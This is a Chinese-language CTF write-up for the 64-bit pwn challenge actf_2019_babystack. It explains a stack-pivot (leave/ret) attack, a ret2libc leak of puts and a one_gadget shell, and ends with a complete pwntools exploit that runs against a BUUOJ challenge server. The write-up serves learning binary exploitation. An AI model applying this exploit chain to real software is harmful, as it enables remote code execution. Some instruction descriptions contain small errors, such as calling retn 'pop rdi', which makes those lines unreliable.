actf_2019_babystack
步骤:
- 例行检查,64位程序,开启了nx保护
- 本地运行一下看看大概的情况,有两次输入
- 64位ida载入
程序可以输入两次,加上只能覆盖ebp和返回地址,想到的是栈迁移的方法 - 栈迁移主要就是使用的leave和retn这两条指令,两条指令的实质是
leave:move rbp,rsp;pop rbp
retn:pop rdi
利用思路
- 第一个输入点固定输入0xe0,造成溢出
- 19行会打印出s在栈上的地址,接收一下,获得栈地址
- 由于没有现成的system(‘/bin/sh’),所以我们要在第二个输入点先构造ret2libc的payload,然后利用栈劫持去执行这个payload,泄露libc
- 获取了libc后计算system和bin/sh的地址,继续用栈劫持的方式执行system(‘/bin/sh’)获取shell
利用过程
- 首先获取一下s在栈上的地址
p.recvuntil('>')
p.sendline(str(0xe0)) #第一个输入点固定输入0xe0,造成溢出,为后续利用做准备
p.recvuntil('Your message will be saved at ')
s_addr=int(p.recvuntil('\n',drop=True),16)
- 利用第二个输入点,完成栈劫持+ret2libc
payload = 'a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) #ret2libc
payload += 'a'*(0xd0-len(payload))+p64(s_addr)+p64(leave) #栈劫持,我看其他师傅喜欢叫ret2leave
第一行payload没什么好解释的,常规的ret2libc的构造,画个图,简单说一下第二行的payload,
我们上述payload想要构造的栈
程序执行到ret处,去执行了leave:move rsp,rbp;pop ebp
move rsp,rbp
pop rbp
执行完ret处的leave后,程序本身还有一个leave和retn
执行程序本身的leave
move rsp,rbp
pop rbp
然后是retn:pop ret
到这里,我们就将程序的执行流劫持到了我们的s地址上,s地址里写的是我们泄露libc的rop,之后程序执行的时候是从ret2libc开始的,因为rip没执行完一条指令会自动+8,这也就是写ret2libc的时候为什么前8个byte要用a去填充。
栈劫持基本的利用格式:payload=a*offset+p64(buf_addr)+p64(leave)
leave相当于 rsp = rbp + 8; rbp = [rbp]
;
为了达到我们的目的(让rsp指向 rbp里面的值+8的位置),一次leave是不够的,所以本题需要两次,才能使得rsp = [rbp] + 8
- 泄露了libc,就可以去计算system和bin/sh的地址了,实际利用的时候感觉应该是libcsearch的问题,找不到libc2.27,因为程序在ubuntu18上的所以libc是libc-2.27.so,然后就换用buu上提供的libc2.27了,有了libc就直接用
one_gadget
了,然后重复泄露libc的方法去执行one_gadget
完整exp
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64',os='linux')
elf=ELF('./ACTF_2019_babystack')
libc=ELF('./libc-2.27-64.so')
#p=process('./ACTF_2019_babystack')
p=remote('node3.buuoj.cn',28329)
main=0x4008f6
leave=0x400a18
pop_rdi=0x400ad3
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
p.recvuntil('>')
p.sendline(str(0xe0))
p.recvuntil('Your message will be saved at ')
s_addr=int(p.recvuntil('\n',drop=True),16)
payload = 'a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
payload += 'a'*(0xd0-len(payload))+p64(s_addr)+p64(leave)
p.recvline()
p.recvuntil('>')
p.send(payload)#注意这里有个坑,要send,不能用sendline,不然程序接收和发送不匹配!!!
p.recvuntil('Byebye~\n')
puts_addr = u64(p.recvuntil('\n',drop = True).ljust(8,'\x00'))
libcbase = puts_addr - libc.symbols['puts']
one_gadget = libcbase + 0x4f2c5
p.recvuntil('>')
p.sendline(str(0xe0))
p.recvuntil('Your message will be saved at ')
s_addr=int(p.recvuntil('\n',drop=True),16)
payload = 'a'*8 + p64(one_gadget)
payload += 'a'*(0xd0-len(payload))+p64(s_addr)+p64(leave)
p.recvline()
p.recvuntil('>')
p.send(payload)
p.interactive()